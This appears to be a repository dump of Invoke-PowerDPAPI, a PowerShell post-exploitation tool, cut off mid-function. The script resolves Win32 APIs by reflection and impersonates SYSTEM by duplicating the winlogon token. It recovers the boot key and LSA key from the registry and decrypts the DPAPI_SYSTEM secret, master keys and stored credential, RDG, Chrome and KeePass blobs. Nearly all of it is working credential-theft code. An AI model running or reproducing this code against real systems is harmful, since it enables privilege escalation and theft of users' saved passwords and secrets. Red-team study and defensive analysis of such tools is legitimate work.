├── Invoke-PowerDPAPI.ps1
├── LICENSE
└── README.md
/Invoke-PowerDPAPI.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-FunctionLookup {
2 | param ([string] $moduleName, [string] $functionName)
3 |
4 | # Load the CLR helper type from System.dll
5 | $gacAsm = [AppDomain]::CurrentDomain.GetAssemblies() |
6 | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\')[-1] -eq 'System.dll' }
7 |
8 | $helperType = $gacAsm.GetType('Microsoft.Win32.UnsafeNativeMethods')
9 | $ptrOverload = $helperType.GetMethod('GetProcAddress', [Reflection.BindingFlags]::Public -bor [Reflection.BindingFlags]::Static, $null, [Type[]] @([IntPtr], [string]),$null)
10 |
11 | if ($ptrOverload)
12 | {
13 | $moduleHandle = $helperType.GetMethod('GetModuleHandle').Invoke($null, @($moduleName))
14 | return $ptrOverload.Invoke($null, @($moduleHandle, $functionName))
15 | }
16 |
17 | # Fallback to HandleRef overload
18 | $handleRefOverload = $helperType.GetMethod('GetProcAddress', [Reflection.BindingFlags]::Public -bor [Reflection.BindingFlags]::Static, $null,[Type[]] @([System.Runtime.InteropServices.HandleRef], [string]),$null)
19 | if (-not $handleRefOverload)
20 | {
21 | throw 'Could not find a suitable GetProcAddress overload on this system.'
22 | }
23 |
24 | $moduleHandle = $helperType.GetMethod('GetModuleHandle').Invoke($null, @($moduleName))
25 | $handleRef = New-Object System.Runtime.InteropServices.HandleRef($null, $moduleHandle)
26 | return $handleRefOverload.Invoke($null, @($handleRef, $functionName))
27 | }
28 |
29 | function Invoke-GetDelegate {
30 | param ([Type[]] $parameterTypes, [Type] $returnType = [Void])
31 |
32 | # Create a dynamic in‑memory delegate type
33 | $asmName = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
34 | $asmBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($asmName, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
35 | $modBuilder = $asmBuilder.DefineDynamicModule('InMemoryModule', $false)
36 |
37 | $typeBuilder = $modBuilder.DefineType(
38 | 'MyDelegateType',
39 | [System.Reflection.TypeAttributes]::Class -bor
40 | [System.Reflection.TypeAttributes]::Public -bor
41 | [System.Reflection.TypeAttributes]::Sealed -bor
42 | [System.Reflection.TypeAttributes]::AnsiClass -bor
43 | [System.Reflection.TypeAttributes]::AutoClass,
44 | [System.MulticastDelegate]
45 | )
46 |
47 | $ctor = $typeBuilder.DefineConstructor(
48 | [System.Reflection.MethodAttributes]::RTSpecialName -bor
49 | [System.Reflection.MethodAttributes]::HideBySig -bor
50 | [System.Reflection.MethodAttributes]::Public,
51 | [System.Reflection.CallingConventions]::Standard,
52 | $parameterTypes
53 | )
54 | $ctor.SetImplementationFlags([System.Reflection.MethodImplAttributes]::Runtime -bor
55 | [System.Reflection.MethodImplAttributes]::Managed)
56 |
57 | $invokeMethod = $typeBuilder.DefineMethod(
58 | 'Invoke',
59 | [System.Reflection.MethodAttributes]::Public -bor
60 | [System.Reflection.MethodAttributes]::HideBySig -bor
61 | [System.Reflection.MethodAttributes]::NewSlot -bor
62 | [System.Reflection.MethodAttributes]::Virtual,
63 | $returnType,
64 | $parameterTypes
65 | )
66 | $invokeMethod.SetImplementationFlags([System.Reflection.MethodImplAttributes]::Runtime -bor
67 | [System.Reflection.MethodImplAttributes]::Managed)
68 |
69 | return $typeBuilder.CreateType()
70 | }
71 |
72 | $FnOpenProcess = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Kernel32.dll' -functionName 'OpenProcess' ),(Invoke-GetDelegate @([UInt32],[bool],[UInt32])([IntPtr])))
73 | $FnOpenProcessToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'OpenProcessToken' ),(Invoke-GetDelegate @([IntPtr],[UInt32],[IntPtr].MakeByRefType())([bool])))
74 | $FnDuplicateTokenEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'DuplicateTokenEx' ),(Invoke-GetDelegate @([IntPtr],[UInt32],[IntPtr],[UInt32],[UInt32],[IntPtr].MakeByRefType())([bool])))
75 | $FnImpersonateLoggedOnUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'ImpersonateLoggedOnUser' ),(Invoke-GetDelegate @([IntPtr])([bool])))
76 | $FnRegOpenKeyEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegOpenKeyExA' ),(Invoke-GetDelegate @([Int32],[string],[Int32],[Int32],[IntPtr].MakeByRefType())([Int32])))
77 | $FnRegQueryValueEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegQueryValueExA' ),(Invoke-GetDelegate @([IntPtr],[string],[IntPtr],[UInt32].MakeByRefType(),[IntPtr],[UInt32].MakeByRefType())([Int32])))
78 | $FnRegQueryInfoKey = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegQueryInfoKeyA' ),(Invoke-GetDelegate @([Int32],[System.Text.StringBuilder],[Int32].MakeByRefType(),[Int32],[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[IntPtr])([Int32])))
79 | $FnRegCloseKey = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegCloseKey' ),(Invoke-GetDelegate @([Int32])([Int32])))
80 | $FnRevertToSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RevertToSelf' ),(Invoke-GetDelegate -parameterTypes $null -returnType ([bool])))
81 |
82 |
83 |
84 | function Invoke-Impersonate {
85 |
86 | $currentSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
87 |
88 | if ($currentSid -eq 'S-1-5-18')
89 | {
90 | return $true
91 | }
92 |
93 | $winlogonId = (Get-Process -Name 'winlogon' -ErrorAction Stop | Select-Object -First 1 -ExpandProperty Id)
94 |
95 | $processHandle = $FnOpenProcess.Invoke(0x400, $true, [int]$winlogonId)
96 |
97 | if ($processHandle -eq [IntPtr]::Zero)
98 | {
99 | return $false
100 | }
101 |
102 | $tokenHandle = [IntPtr]::Zero
103 |
104 | if (-not $FnOpenProcessToken.Invoke($processHandle, 0x0E, [ref]$tokenHandle))
105 | {
106 | return $false
107 | }
108 |
109 | $dupHandle = [IntPtr]::Zero
110 |
111 | if (-not $FnDuplicateTokenEx.Invoke($tokenHandle, 0x02000000, [IntPtr]::Zero, 0x02, 0x01, [ref]$dupHandle))
112 | {
113 | return $false
114 | }
115 |
116 | try {
117 |
118 | if (-not $FnImpersonateLoggedOnUser.Invoke($dupHandle))
119 | {
120 | return $false
121 | }
122 |
123 | $newSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
124 |
125 | return ($newSid -eq 'S-1-5-18')
126 | }
127 |
128 | catch
129 | {
130 | return $false
131 | }
132 | }
133 |
134 |
135 | # Taken from this project https://raw.githubusercontent.com/tmenochet/PowerDump/refs/heads/master/DpapiDump.ps1
136 |
137 | if (-not [Type]::GetType('Pbkdf2', $false, $false)) {
138 | Add-Type -TypeDefinition @"
139 | using System;
140 | using System.Security.Cryptography;
141 |
142 | public class Pbkdf2 {
143 | public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt, Int32 iterations) {
144 | if (algorithm == null) { throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); }
145 | if (salt == null) { throw new ArgumentNullException("salt", "Salt cannot be null."); }
146 | if (password == null) { throw new ArgumentNullException("password", "Password cannot be null."); }
147 | this.Algorithm = algorithm;
148 | this.Algorithm.Key = password;
149 | this.Salt = salt;
150 | this.IterationCount = iterations;
151 | this.BlockSize = this.Algorithm.HashSize / 8;
152 | this.BufferBytes = new byte[this.BlockSize];
153 | }
154 |
155 | private readonly int BlockSize;
156 | private uint BlockIndex = 1;
157 | private byte[] BufferBytes;
158 | private int BufferStartIndex = 0;
159 | private int BufferEndIndex = 0;
160 |
161 | public HMAC Algorithm { get; private set; }
162 | public Byte[] Salt { get; private set; }
163 | public Int32 IterationCount { get; private set; }
164 |
165 | public Byte[] GetBytes(int count, string algorithm = "sha512") {
166 | byte[] result = new byte[count];
167 | int resultOffset = 0;
168 | int bufferCount = this.BufferEndIndex - this.BufferStartIndex;
169 |
170 | if (bufferCount > 0) {
171 | if (count < bufferCount) {
172 | Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, count);
173 | this.BufferStartIndex += count;
174 | return result;
175 | }
176 | Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, bufferCount);
177 | this.BufferStartIndex = this.BufferEndIndex = 0;
178 | resultOffset += bufferCount;
179 | }
180 |
181 | while (resultOffset < count) {
182 | int needCount = count - resultOffset;
183 | if (algorithm.ToLower() == "sha256")
184 | this.BufferBytes = this.Func(false);
185 | else
186 | this.BufferBytes = this.Func();
187 |
188 | if (needCount > this.BlockSize) {
189 | Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, this.BlockSize);
190 | resultOffset += this.BlockSize;
191 | } else {
192 | Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, needCount);
193 | this.BufferStartIndex = needCount;
194 | this.BufferEndIndex = this.BlockSize;
195 | return result;
196 | }
197 | }
198 | return result;
199 | }
200 |
201 | private byte[] Func(bool mscrypto = true) {
202 | var hash1Input = new byte[this.Salt.Length + 4];
203 | Buffer.BlockCopy(this.Salt, 0, hash1Input, 0, this.Salt.Length);
204 | Buffer.BlockCopy(GetBytesFromInt(this.BlockIndex), 0, hash1Input, this.Salt.Length, 4);
205 | var hash1 = this.Algorithm.ComputeHash(hash1Input);
206 | byte[] finalHash = hash1;
207 |
208 | for (int i = 2; i <= this.IterationCount; i++) {
209 | hash1 = this.Algorithm.ComputeHash(hash1, 0, hash1.Length);
210 | for (int j = 0; j < this.BlockSize; j++) {
211 | finalHash[j] = (byte)(finalHash[j] ^ hash1[j]);
212 | }
213 | if (mscrypto)
214 | Array.Copy(finalHash, hash1, hash1.Length);
215 | }
216 |
217 | if (this.BlockIndex == uint.MaxValue) {
218 | throw new InvalidOperationException("Derived key too long.");
219 | }
220 | this.BlockIndex += 1;
221 | return finalHash;
222 | }
223 |
224 | private static byte[] GetBytesFromInt(uint i) {
225 | var bytes = BitConverter.GetBytes(i);
226 | if (BitConverter.IsLittleEndian) {
227 | return new byte[] { bytes[3], bytes[2], bytes[1], bytes[0] };
228 | } else {
229 | return bytes;
230 | }
231 | }
232 | }
233 | "@ -ReferencedAssemblies System.Security
234 | }
235 |
236 |
237 |
238 | function Get-BootKey {
239 |
240 | # Retrieves the boot key by querying specific registry keys under SYSTEM hive and descrambles it. Returns the boot key as a byte array.
241 | # Hand-off: Returns boot key to Get-LSAKey function.
242 |
243 | $ScrambledKey = [System.Text.StringBuilder]::new()
244 | $keyNames = @("JD", "Skew1", "GBG", "Data")
245 |
246 | foreach ($Key in $keyNames)
247 | {
248 | [string] $KeyPath = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\$Key"
249 | $ClassVal = [System.Text.StringBuilder]::new(1024)
250 | $Len = 1024
251 | $hKey = [IntPtr]::Zero
252 | $dummy = [IntPtr]::Zero
253 |
254 | $Result = $FnRegOpenKeyEx.Invoke(0x80000002, $KeyPath, 0x0, 0x19, [ref]$hKey)
255 |
256 | if ($Result -ne 0)
257 | {
258 | $ErrCode = [System.Runtime.Interopservices.Marshal]::GetLastWin32Error()
259 | Write-Host "[!] Error opening $KeyPath : $ErrCode"
260 | return $null
261 | }
262 |
263 | $Result = $FnRegQueryInfoKey.Invoke($hKey, $ClassVal, [ref]$Len, 0x0, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [IntPtr]::Zero)
264 |
265 | if ($Result -ne 0)
266 | {
267 | $ErrCode = [System.Runtime.Interopservices.Marshal]::GetLastWin32Error()
268 | Write-Host "[!] Error querying $KeyPath : $ErrCode"
269 | return $null
270 | }
271 |
272 | $FnRegCloseKey.Invoke($hKey) > $null
273 | $ScrambledKey.Append($ClassVal) > $null
274 | }
275 |
276 | $Descramble = @(0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7)
277 | $BootKey = foreach ($i in $Descramble) { [Convert]::ToByte("$($ScrambledKey[$i * 2])$($ScrambledKey[$i * 2 + 1])", 16) }
278 | $HexString = ($BootKey | ForEach-Object { $_.ToString("X2") }) -join ""
279 |
280 | return $BootKey
281 | }
282 |
283 | function Get-LsaSha256Hash {
284 | param ([byte[]] $Key, [byte[]] $RawData)
285 |
286 | # Computes a SHA256 hash of a key combined with repeated raw data. Used for deriving encryption keys in LSA decryption.
287 | # Hand-off: Returns hash to Get-LSAKey/Get-LSASecret for key derivation.
288 |
289 | $bufferSize = $Key.Length + ($RawData.Length * 1000)
290 | $buffer = New-Object byte[] $bufferSize
291 | [System.Array]::Copy($Key, 0, $buffer, 0, $Key.Length)
292 |
293 | for ($i = 0; $i -lt 1000; $i++)
294 | {
295 | $dest = $Key.Length + ($i * $RawData.Length)
296 | [System.Array]::Copy($RawData, 0, $buffer, $dest, $RawData.Length)
297 | }
298 |
299 | $sha256 = [System.Security.Cryptography.SHA256]::Create()
300 |
301 | try
302 | {
303 | return $sha256.ComputeHash($buffer)
304 | }
305 |
306 | finally
307 | {
308 | $sha256.Dispose()
309 | }
310 | }
311 |
312 | function Get-LsaAesDecrypt {
313 | param ([byte[]] $Key,[byte[]] $Data)
314 |
315 | # Decrypts AES-CBC encrypted data using a provided key and zero IV. Handles data in 16-byte chunks.
316 | # Hand-off: Returns decrypted data to Get-LSAKey/Get-LSASecret for LSA secret extraction.
317 |
318 | $aes = [System.Security.Cryptography.AesManaged]::new()
319 | try
320 | {
321 | $aes.Key = $Key
322 | $aes.IV = New-Object byte[] 16
323 | $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
324 | $aes.BlockSize = 128
325 | $aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
326 |
327 | $transform = $aes.CreateDecryptor()
328 | $chunks = [int][math]::Ceiling($Data.Length / 16)
329 | $plaintext = New-Object byte[] ($chunks * 16)
330 |
331 | for ($i = 0; $i -lt $chunks; $i++)
332 | {
333 | $offset = $i * 16
334 | $chunk = New-Object byte[] 16
335 | [System.Array]::Copy($Data, $offset, $chunk, 0, 16)
336 | $decryptedChunk = $transform.TransformFinalBlock($chunk, 0, 16)
337 | [System.Array]::Copy($decryptedChunk, 0, $plaintext, $offset, 16)
338 | }
339 |
340 | return $plaintext
341 | }
342 |
343 | finally
344 | {
345 | $transform.Dispose()
346 | $aes.Dispose()
347 | }
348 | }
349 |
350 | function Get-LSAKey {
351 |
352 | # Derives the LSA encryption key using the boot key and encrypted registry data from SECURITY hive.
353 | # Hand-off: Uses Get-BootKey, passes data to Get-LsaSha256Hash/Get-LsaAesDecrypt. Returns LSA key to Get-LSASecret.
354 |
355 | $BootKey = Get-BootKey
356 | $LSAKeyEncryptedStruct = Get-ItemPropertyValue -Path "HKLM:\SECURITY\Policy\PolEKList" -Name "(default)"
357 | $LSAEncryptedData = $LSAKeyEncryptedStruct[28..($LSAKeyEncryptedStruct.Length - 1)]
358 | $LSAEncryptedDataEncryptedKey = $LSAEncryptedData[0..31]
359 | $tmpKey = Get-LsaSha256Hash -Key $BootKey -RawData $LSAEncryptedDataEncryptedKey
360 | $LSAEncryptedDataRemainder = $LSAEncryptedData[32..($LSAEncryptedData.Length - 1)]
361 | $LSAKeyStructPlaintext = Get-LsaAesDecrypt -Key $tmpKey -Data $LSAEncryptedDataRemainder
362 | $LSAKey = New-Object byte[] 32
363 | [System.Array]::Copy($LSAKeyStructPlaintext, 68, $LSAKey, 0, 32)
364 |
365 | function ToHex($bytes) { ($bytes | ForEach-Object { $_.ToString("X2") }) -join '' }
366 | Write-Host "[*] BootKey : $(ToHex $BootKey)"
367 | Write-Host "[*] tmpKey : $(ToHex $tmpKey)"
368 | Write-Host "[*] LSA Key : $(ToHex $LSAKey)"
369 |
370 | return $LSAKey
371 | }
372 |
373 | function Get-LSASecret {
374 | param ([string] $SecretName)
375 |
376 | # Retrieves and decrypts a specified LSA secret from the registry using the LSA key.
377 | # Hand-off: Uses Get-LSAKey, passes data to Get-LsaSha256Hash/Get-LsaAesDecrypt. Returns DPAPI_SYSTEM secret to Get-DPAPIKeys.
378 |
379 | $LSAKey = Get-LSAKey
380 | $RegistryPath = "HKLM:\SECURITY\Policy\Secrets\$SecretName\CurrVal"
381 |
382 | try
383 | {
384 | $RegistryKey = Get-Item -Path $RegistryPath -ErrorAction Stop
385 | $KeyData = $RegistryKey.GetValue("")
386 |
387 | if (-not $KeyData -or $KeyData.Length -lt 28)
388 | {
389 | Write-Warning "Invalid registry data for $SecretName"
390 | return $null
391 | }
392 |
393 | $keyEncryptedData = $keyData[28..($keyData.Length-1)]
394 | $keyEncryptedDataEncryptedKey = $keyEncryptedData[0..31]
395 | $tmpKey = Get-LSASHA256Hash -Key $LSAKey -RawData $keyEncryptedDataEncryptedKey
396 | $keyEncryptedDataRemainder = $keyEncryptedData[32..($keyEncryptedData.Length-1)]
397 | $keyPathPlaintext = Get-LsaAesDecrypt -Key $tmpKey -Data $keyEncryptedDataRemainder
398 |
399 | if ($SecretName -eq "DPAPI_SYSTEM")
400 | {
401 | return $keyPathPlaintext[20..59]
402 | }
403 |
404 | Write-Warning "LSA Secret '$SecretName' not implemented"
405 | return $null
406 | }
407 |
408 | catch
409 | {
410 | Write-Warning "Error accessing registry: $_"
411 | return $null
412 | }
413 | }
414 |
415 | function Get-DPAPIKeys {
416 |
417 | # Extracts machine and user DPAPI keys from the decrypted DPAPI_SYSTEM secret.
418 | # Hand-off: Uses Get-LSASecret. Stores keys in script variables for later use by Triage-SystemMasterKeys.
419 |
420 | $dpapiKeyFull = Get-LSASecret -SecretName "DPAPI_SYSTEM"
421 | $script:dpapiMachineKeysBytes = New-Object byte[] 20
422 | $script:dpapiUserKeysBytes = New-Object byte[] 20
423 |
424 | [System.Array]::Copy($dpapiKeyFull, 0, $script:dpapiMachineKeysBytes, 0, 20)
425 | [System.Array]::Copy($dpapiKeyFull, 20, $script:dpapiUserKeysBytes , 0, 20)
426 |
427 | function ToHex($bytes) { ($bytes | ForEach-Object { $_.ToString("X2") }) -join '' }
428 |
429 | Write-Host ""
430 | Write-Host "[*] Secret : DPAPI_SYSTEM"
431 | Write-Host "[*] Full : $(( $dpapiKeyFull | ForEach-Object { $_.ToString('X2') } ) -join '')"
432 | Write-Host "[*] Machine : $(( $script:dpapiMachineKeysBytes | ForEach-Object { $_.ToString('X2') } ) -join '')"
433 | Write-Host "[*] User : $(( $script:dpapiUserKeysBytes | ForEach-Object { $_.ToString('X2') } ) -join '')"
434 | Write-Host ""
435 | }
436 |
437 | function Get-MasterKey {
438 | param ([byte[]] $masterKeyBytes)
439 |
440 | # Extracts and validates the master key length from DPAPI master key bytes.
441 | # Hand-off: Called by Decrypt-MasterKeyWithSha to process master key structures.
442 |
443 | $offset = 96
444 | $masterKeyLength = [System.BitConverter]::ToInt64($masterKeyBytes, $offset)
445 | $offset += 4 * 8
446 |
447 | if ($masterKeyLength -lt 0 -or $masterKeyLength -gt 1048576)
448 | {
449 | return "[!] MasterKeyLength value $masterKeyLength is invalid or suspicious"
450 | }
451 |
452 | $masterKeySubBytes = New-Object byte[] ([int]$masterKeyLength)
453 | [System.Array]::Copy($masterKeyBytes, $offset, $masterKeySubBytes, 0, [int]$masterKeyLength)
454 | return $masterKeySubBytes
455 | }
456 |
457 | function Derive-PreKey {
458 | param ([byte[]] $shaBytes, [uint32] $algHash, [byte[]] $salt, [int] $rounds)
459 |
460 | # Derives a pre-key using PBKDF2 with HMAC-SHA1/SHA512 for DPAPI master key decryption.
461 | # Hand-off: Returns derived key to Decrypt-MasterKeyWithSha for decryption operations.
462 |
463 | switch ($algHash)
464 | {
465 | 32782
466 | {
467 | $hmac = [System.Security.Cryptography.HMACSHA512]::new()
468 | $df = [Pbkdf2]::new($hmac, $shaBytes, $salt, $rounds)
469 | $derivedPreKey = $df.GetBytes(48, "sha512")
470 | break
471 | }
472 | 32777
473 | {
474 | $hmac = [System.Security.Cryptography.HMACSHA1]::new()
475 | $df = [Pbkdf2]::new($hmac, $shaBytes, $salt, $rounds)
476 | $derivedPreKey = $df.GetBytes(32, "sha1")
477 | break
478 | }
479 | default
480 | {
481 | throw "Unsupported algHash: $algHash"
482 | }
483 | }
484 |
485 | return $derivedPreKey
486 | }
487 |
488 |
489 |
490 |
491 | function Decrypt-Aes256HmacSha512 {
492 | param ([byte[]] $ShaBytes, [byte[]] $Final, [byte[]] $EncData)
493 |
494 | # Decrypts AES-256-CBC data with HMAC-SHA512 integrity check. Used for newer DPAPI master keys.
495 | # Hand-off: Returns SHA1 of decrypted master key to Decrypt-MasterKeyWithSha.
496 |
497 | # Key and IV setup
498 | $HMACLen = [System.Security.Cryptography.HMACSHA512]::new().HashSize / 8
499 | $IVBytes = New-Object byte[] 16
500 | $key = New-Object byte[] 32
501 | [Array]::Copy($Final, 32, $IVBytes, 0, 16)
502 | [Array]::Copy($Final, 0, $key, 0, 32)
503 |
504 | # AES Decrypt
505 | $aes = New-Object Security.Cryptography.AesManaged
506 | $aes.Key = $key
507 | $aes.IV = $IVBytes
508 | $aes.Mode = [Security.Cryptography.CipherMode]::CBC
509 | $aes.Padding= [Security.Cryptography.PaddingMode]::Zeros
510 | $dec = $aes.CreateDecryptor()
511 | $plain = $dec.TransformFinalBlock($EncData, 0, $EncData.Length)
512 |
513 | # HMAC and SHA
514 | $outLen = $plain.Length
515 | $outputLen = $outLen - 16 - $HMACLen
516 | $mkFull = New-Object byte[] $HMACLen
517 | [Array]::Copy($plain, $outLen - $outputLen, $mkFull, 0, $mkFull.Length)
518 | $sha1 = [System.Security.Cryptography.SHA1Managed]::Create()
519 | $mkSha1 = $sha1.ComputeHash($mkFull)
520 |
521 | $cryptBuf = New-Object byte[] 16
522 | [Array]::Copy($plain, $cryptBuf, 16)
523 | $hmac1 = [System.Security.Cryptography.HMACSHA512]::new($ShaBytes)
524 | $r1Hmac = $hmac1.ComputeHash($cryptBuf)
525 |
526 | $r2Buf = New-Object byte[] $outputLen
527 | [Array]::Copy($plain, $outLen - $outputLen, $r2Buf, 0, $outputLen)
528 | $hmac2 = [System.Security.Cryptography.HMACSHA512]::new($r1Hmac)
529 | $r2Hmac = $hmac2.ComputeHash($r2Buf)
530 |
531 | $cmp = New-Object byte[] 64
532 | [Array]::Copy($plain, 16, $cmp, 0, $cmp.Length)
533 |
534 | if (-not [System.Linq.Enumerable]::SequenceEqual($cmp, $r2Hmac))
535 | {
536 | throw "HMAC integrity check failed!"
537 | }
538 |
539 | return $mkSha1
540 | }
541 |
542 |
543 |
544 | function Decrypt-TripleDESHmac {
545 | param ([byte[]] $Final, [byte[]] $EncData)
546 |
547 | # Decrypts 3DES data with custom HMAC handling. Used for older DPAPI master keys.
548 | # Hand-off: Returns SHA1 of decrypted master key to Decrypt-MasterKeyWithSha.
549 |
550 | $ivBytes = New-Object byte[] 8
551 | $key = New-Object byte[] 24
552 | [Array]::Copy($Final, 24, $ivBytes, 0, 8)
553 | [Array]::Copy($Final, 0, $key, 0, 24)
554 |
555 | $des = New-Object Security.Cryptography.TripleDESCryptoServiceProvider
556 | $des.Key = $key
557 | $des.IV = $ivBytes
558 | $des.Mode = [Security.Cryptography.CipherMode]::CBC
559 | $des.Padding= [Security.Cryptography.PaddingMode]::Zeros
560 |
561 | $decryptor = $des.CreateDecryptor()
562 | $plaintextBytes = $decryptor.TransformFinalBlock($EncData, 0, $EncData.Length)
563 |
564 | $decryptedKey = New-Object byte[] 64
565 | [Array]::Copy($plaintextBytes, 40, $decryptedKey, 0, 64)
566 |
567 | $sha1 = New-Object Security.Cryptography.SHA1Managed
568 | $masterKeySha1 = $sha1.ComputeHash($decryptedKey)
569 |
570 | return $masterKeySha1
571 | }
572 |
573 | function Decrypt-MasterKeyWithSha {
574 | param ([byte[]] $MasterKeyBytes,[byte[]] $SHABytes)
575 |
576 | # Orchestrates DPAPI master key decryption using derived keys and algorithm-specific functions.
577 | # Hand-off: Calls Derive-PreKey and algorithm-specific decryptors. Returns GUID:key mapping to Triage-SystemMasterKeys.
578 |
579 | $guid = '{' + [System.Text.Encoding]::Unicode.GetString($MasterKeyBytes, 12, 72) + '}'
580 | $mkBytes = Get-MasterKey $MasterKeyBytes
581 |
582 | $offset = 4
583 | $salt = New-Object byte[] 16
584 | [Array]::Copy($mkBytes, $offset, $salt, 0, 16)
585 | $offset += 16
586 |
587 | $rounds = [BitConverter]::ToInt32($mkBytes, $offset)
588 | $offset += 4
589 |
590 | $algHash = [BitConverter]::ToUInt32($mkBytes, $offset)
591 | $offset += 4
592 |
593 | $algCrypt = [BitConverter]::ToUInt32($mkBytes, $offset)
594 | $offset += 4
595 |
596 | $encData = New-Object byte[] ($mkBytes.Length - $offset)
597 | [Array]::Copy($mkBytes, $offset, $encData, 0, $encData.Length)
598 |
599 | $derivedPreKey = Derive-PreKey -shaBytes $SHABytes -algHash $algHash -salt $salt -rounds $rounds
600 |
601 | if ($algCrypt -eq 26128 -and $algHash -eq 32782)
602 | {
603 |
604 | # CALG_AES_256 with CALG_SHA_512
605 | $masterKeySha1 = Decrypt-Aes256HmacSha512 -ShaBytes $shaBytes -Final $derivedPreKey -EncData $encData
606 | $masterKeyStr = ($masterKeySha1 | ForEach-Object { $_.ToString("X2") }) -join ""
607 | return @{ $guid = $masterKeyStr }
608 | }
609 |
610 | elseif ($algCrypt -eq 26115 -and ($algHash -eq 32777 -or $algHash -eq 32772))
611 | {
612 |
613 | # CALG_3DES with CALG_HMAC or CALG_SHA1
614 | $masterKeySha1 = Decrypt-TripleDESHmac -Final $derivedPreKey -EncData $encData
615 | $masterKeyStr = ($masterKeySha1 | ForEach-Object { $_.ToString("X2") }) -join ""
616 | return @{ $guid = $masterKeyStr }
617 | }
618 |
619 | else
620 | {
621 | throw "Alg crypt '$algCrypt / 0x{0:X8}' not currently supported!" -f $algCrypt
622 | }
623 | }
624 |
625 |
626 |
627 | function Describe-DPAPIBlob {
628 | param ([byte[]]$blobBytes, [hashtable] $MasterKeys,[string] $blobType = "blob",[bool] $unprotect = $false, [byte[]] $entropy = $null)
629 |
630 | # Parses and decrypts DPAPI blobs (credentials, RDG files, etc.) using provided master keys.
631 | # Hand-off: Uses MasterKeys hashtable. Returns decrypted data to Decrypt-NAA.
632 |
633 | $offset = 0
634 |
635 | if ($blobType -eq "credential")
636 | {
637 | $offset = 36
638 | }
639 |
640 | elseif ($blobType -in @("policy","blob","rdg","chrome","keepass"))
641 | {
642 | $offset = 24
643 | }
644 |
645 | else
646 | {
647 | Write-Host "[!] Unsupported blob type: $blobType"
648 | return ,@()
649 | }
650 |
651 | $guidMasterKey = [Guid]::new([byte[]]$blobBytes[$offset..($offset+15)])
652 | $guidString = "{$guidMasterKey}"
653 | $offset += 16
654 |
655 | if ($blobType -notin "rdg","chrome")
656 | {
657 | Write-Host " guidMasterKey : $guidString"
658 | Write-Host " size : $($blobBytes.Length)"
659 | }
660 |
661 | $flags = [BitConverter]::ToUInt32($blobBytes, $offset)
662 | $offset += 4
663 |
664 | if ($blobType -notin "rdg","chrome")
665 | {
666 | $flagInfo = "0x$($flags.ToString('X8'))"
667 |
668 | if ($flags -eq 0x20000000)
669 | {
670 | $flagInfo += " (CRYPTPROTECT_SYSTEM)"
671 | }
672 |
673 | Write-Host " flags : $flagInfo"
674 | }
675 |
676 | $descLength = [BitConverter]::ToInt32($blobBytes, $offset)
677 | $offset += 4
678 | $description = [System.Text.Encoding]::Unicode.GetString($blobBytes, $offset, $descLength)
679 | $offset += $descLength
680 |
681 | $algCrypt = [BitConverter]::ToInt32($blobBytes, $offset)
682 | $offset += 4
683 | $algCryptLen = [BitConverter]::ToInt32($blobBytes, $offset)
684 | $offset += 4
685 | $saltLen = [BitConverter]::ToInt32($blobBytes, $offset)
686 | $offset += 4
687 | $saltBytes = $blobBytes[$offset..($offset+$saltLen-1)]
688 | $offset += $saltLen
689 |
690 | $hmacKeyLen = [BitConverter]::ToInt32($blobBytes, $offset)
691 | $offset += 4 + $hmacKeyLen
692 | $algHash = [BitConverter]::ToInt32($blobBytes, $offset)
693 | $offset += 4
694 |
695 | if ($blobType -notin "rdg","chrome")
696 | {
697 | Write-Host " algHash/algCrypt : $algHash ($([CryptAlg]$algHash)) / $algCrypt ($([CryptAlg]$algCrypt))"
698 | Write-Host " description : $description"
699 | }
700 |
701 | $algHashLen = [BitConverter]::ToInt32($blobBytes, $offset)
702 | $offset += 4
703 | $hmac2KeyLen = [BitConverter]::ToInt32($blobBytes, $offset)
704 | $offset += 4 + $hmac2KeyLen
705 |
706 | $dataLen = [BitConverter]::ToInt32($blobBytes, $offset)
707 | $offset += 4
708 | $dataBytes = $blobBytes[$offset..($offset+$dataLen-1)]
709 |
710 | if ($unprotect -and $blobType -in "blob","rdg","chrome","keepass")
711 | {
712 | try
713 | {
